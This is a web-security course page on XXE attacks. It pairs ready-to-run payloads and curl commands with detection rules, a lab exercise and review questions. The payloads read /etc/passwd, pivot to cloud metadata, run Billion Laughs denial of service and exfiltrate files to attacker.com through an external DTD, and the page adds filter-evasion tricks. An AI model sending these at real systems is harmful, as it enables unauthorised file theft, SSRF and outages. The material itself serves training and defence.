Skip to content

XML External Entity (XXE)

XXE is the abuse of XML’s DTD feature for entity definitions. The XML spec lets you define an entity that points to an external URI; when the parser expands it, the parser fetches the URI. If the parser is configured to allow external entities (and many are by default), the application processes XML that includes the file content or HTTP response the parser fetched on the attacker’s behalf. The 2014 Facebook XXE let attackers read /etc/passwd of Facebook’s servers; CVE-2018-7711 in DotNetNuke was XXE in web.config import.

XML has two parsing modes: DTD-aware and DTD-unaware. A DTD-aware parser resolves entity references — including SYSTEM URIs, which it fetches. The SYSTEM identifier accepts any URI the parser’s I/O layer can handle: file://, http://, ftp://, gopher://, jar:// (Java).

┌─────────────────────────────────────────────────────────────┐
│ Attacker uploads XML: │
│ <!DOCTYPE foo [ │
│ <!ENTITY xxe SYSTEM "file:///etc/passwd"> │
│ ]> │
│ <root>&xxe;</root> │
├─────────────────────────────────────────────────────────────┤
│ XML parser: │
│ reads DTD → defines entity "xxe" │
│ sees &xxe; → resolves to "file:///etc/passwd" │
│ fetches /etc/passwd ← THIS IS THE BUG │
│ substitutes file content for &xxe; │
├─────────────────────────────────────────────────────────────┤
│ Application: │
│ <root>root:x:0:0:root:/root:/bin/bash ...</root> │
│ returns to attacker │
└─────────────────────────────────────────────────────────────┘

A “Billion Laughs” attack (entity expansion DoS) is the same mechanism used to amplify — define &lol1; as 10 &lol2;, &lol2; as 10 &lol3;, … &lol9; as 10 “lol” — one XML document expands to ~10^9 entities.

  1. Find an XML endpoint — SOAP web services, RSS/Atom feeds, SVG uploads, OOXML (.docx/.xlsx is a ZIP of XMLs), SAML responses (the entire SAML XML Signature spec is XML).
  2. Probe with a benign entity — <!ENTITY x "test"> and reference &x;. If the response contains test, DTD parsing is enabled.
  3. Test SYSTEM with file:// — <!ENTITY x SYSTEM "file:///etc/passwd">. If the response includes the passwd file, classic XXE works.
  4. Blind XXE (no reflection) — when the response doesn’t include the parsed body. Use an external DTD that triggers an HTTP callback:
    <!DOCTYPE foo [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
    ]>
    <foo/>
    The evil.dtd defines %eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>"; %eval; %exfil; — the parser reads the local file, then makes an HTTP request with the file content as a query parameter.
  5. Error-based XXE — make the parser throw an error containing the file content: <!ENTITY x SYSTEM 'file:///nonexistent/%file;'> causes the parser to emit “file not found: /nonexistent/”.
  6. Pivot to SSRF — replace file:// with http://169.254.169.254/... — XXE becomes SSRF, and XXE allows arbitrary methods/headers in some Java parsers.
TechniqueDescriptionDetection Difficulty
Classic XXE<!ENTITY x SYSTEM "file:///etc/passwd"> reflectedEasy — DTD declarations in body
Blind XXE OOBExternal DTD triggers HTTP exfil callbackMedium — needs callback infra
Error-basedParser error embeds file contentEasy — error string in response
Billion Laughs (DoS)Nested entity expansion, no I/OEasy —DTD recursion limited by parsers now
XInclude XXE<xi:include href="file:///etc/passwd"> when you cannot control the DOCTYPEMedium — works in SAX + XInclude-enabled
SVG XXESVG uploaded as image, parsed as XML → file readEasy — block <!DOCTYPE in SVG uploads
Parameter entity injection%entity; syntax for DTD-only definitionsHard — parameter entities are obscure
SSRF pivot<!ENTITY x SYSTEM "http://169.254.169.254/...">Easy — same as W5 SSRF signatures
Terminal window
# Classic XXE — POST to a vulnerable XML endpoint
curl -X POST http://target/api/parse \
-H "Content-Type: application/xml" \
-d '<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<foo>&x;</foo>'
# Blind XXE with external DTD
cat > evil.dtd <<EOF
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
EOF
python3 -m http.server 8000 & # serve evil.dtd
curl -X POST http://target/api/parse -H "Content-Type: application/xml" \
-d '<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com:8000/evil.dtd">
%dtd;
]>
<foo/>'
# Billion laughs
curl -X POST http://target/api/parse -H "Content-Type: application/xml" -d '<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>'
# XInclude XXE — when DOCTYPE is blocked
curl -X POST http://target/api/parse -H "Content-Type: application/xml" -d '<?xml version="1.0"?>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd"/>
</foo>'
# SVG XXE — upload an image
cat > evil.svg <<EOF
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/hostname">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text>&x;</text>
</svg>
EOF
curl -F "image=@evil.svg" http://target/upload
# XXEsurfer — automated XXE testing
python3 xxesurfer.py --url http://target/api/parse --method POST --content-type xml
# nuclei XXE templates
nuclei -u http://target -t ~/nuclei-templates/http/dast/ -tags xxe

ModSecurity OWASP CRS — XXE covered by rule 932130 (XML External Entity) and the 920400 family for content-type policy. Notable:

  • 932130 — XML External Entity Injection (<!ENTITY + SYSTEM)
  • 932131 — XML Local File Inclusion via entity expansion
  • 932100 family (RCE) catches jar:// Java XXE pivots
  • 920220 — content-type policy (block text/xml to sensitive endpoints)

Suricata SID 2221017 — XML External Entity attack pattern [verify].

Sysmon Event ID 1 — ProcessCreate from Java app (JVM) spawning cmd.exe after XXE → SSRF → RCE chain (Log4Shell-style).

MITRE ATT&CK T1190 — Exploit Public-Facing Application.

MITRE ATT&CK T1059.004 — Unix Shell (XXE → <!ENTITY x SYSTEM "command://..."> or expect:// in PHP).

Wazuh rule 31181 — XXE pattern in request body [verify].

XInclude pivot. When <!DOCTYPE> is blocked (some parsers strip the DOCTYPE entirely), XInclude is still allowed if the parser is XInclude-aware. <xi:include href="file:///etc/passwd"/> does the same thing without a DOCTYPE.

UTF-16 encoding. The DTD regex matches ASCII bytes. Submit the XML as UTF-16 (<?xml version="1.0" encoding="UTF-16"?> with UTF-16 BOM), and the byte-level WAF rule misses. Defense: normalize to UTF-8 before matching.

CDATA wrapping. Some filters strip <!ENTITY> but accept <![CDATA[...]]>. This doesn’t bypass XXE — CDATA is for text content, not for DTD — but it does bypass naive keyword filters that block the literal SYSTEM only outside CDATA blocks.

Custom URI schemes. Java’s parser supports jar://, netdoc://, gopher://. PHP’s supports php://filter/convert.base64-encode/resource=/etc/passwd (a built-in filter that base64-encodes the file content — same trick as LFI).

EvasionBypassesDefense
XIncludeDOCTYPE-only filtersDisable XInclude in parser features
UTF-16 encodingASCII byte matchersDecode to UTF-8 before matching
Parameter entities (%)General entity regexBlock all <!ENTITY, both % and named
php://filter schemefile://-only scheme blockBlock all non-http schemes by default
jar:// (Java)file://-only scheme blockJava: set XMLConstants.FEATURE_SECURE_PROCESSING
SVG <text>&entity;</text>HTML image sanitizersValidate SVG XML and strip DTD

⚠️ What caught me: An “image processing” service accepted SVG uploads and ran ImageMagick convert to rasterize them. ImageMagick had MVG and MSL delegates enabled (this is the ImageTragick CVE-2016-3714 family). My SVG’s <text> element with an &xxe; entity wasn’t strictly XXE — it was MVG delegation that ImageMagick then expanded. The “image” was rendered, the entity was resolved inside ImageMagick’s own XML parser, and the rendered PNG came back with /etc/passwd drawn as pixels. Lesson: XML parsers in non-obvious places (ImageMagick, libplist, OpenOffice, iTunes backup parsers) are XXE sinks you only find by fuzzing MIME types.

Container: quay.io/appsec/xxe-lab (community image) or use bWAPP’s XXE module.

Terminal window
docker run --rm -p 8080:8080 quay.io/appsec/xxe-lab
# Or:
docker run --rm -d -p 80:80 raesene/bwapp
# bWAPP → Choose bug → XML External Entity Injection

Objective: solve classic XXE (reflect /etc/passwd), then blind XXE via external DTD with an OAST callback, then XInclude XXE.

Expected flag format: flag{xxe_classic_blind_xinclude_solved}.

Detection that should fire: ModSecurity 932130 on every payload, the application log should show file-not-found errors for error-based payloads.

Conceptual: what is the difference between a general entity and a parameter entity in XML DTD, and why are parameter entities strictly more powerful for blind XXE?

Technical: walk through the exact XML payload + external DTD pair required for blind XXE that exfiltrates a file via HTTP callback. Why is the &#x25; HTML entity necessary in the DTD?

Scenario: a target blocks <!DOCTYPE entirely but accepts arbitrary XML body. What technique lets you still read local files, and what parser feature must be enabled?

Why does XInclude work even when <!DOCTYPE is blocked, but Billion Laughs DoS does not work via XInclude?

Compare XXE and SSRF in terms of what they can access. Why is gopher:// XXE more dangerous than http:// SSRF on a Java target?

→ W1 (OWASP Top 10 Overview) · W5 (Server-Side Request Forgery) · W17 (API Security)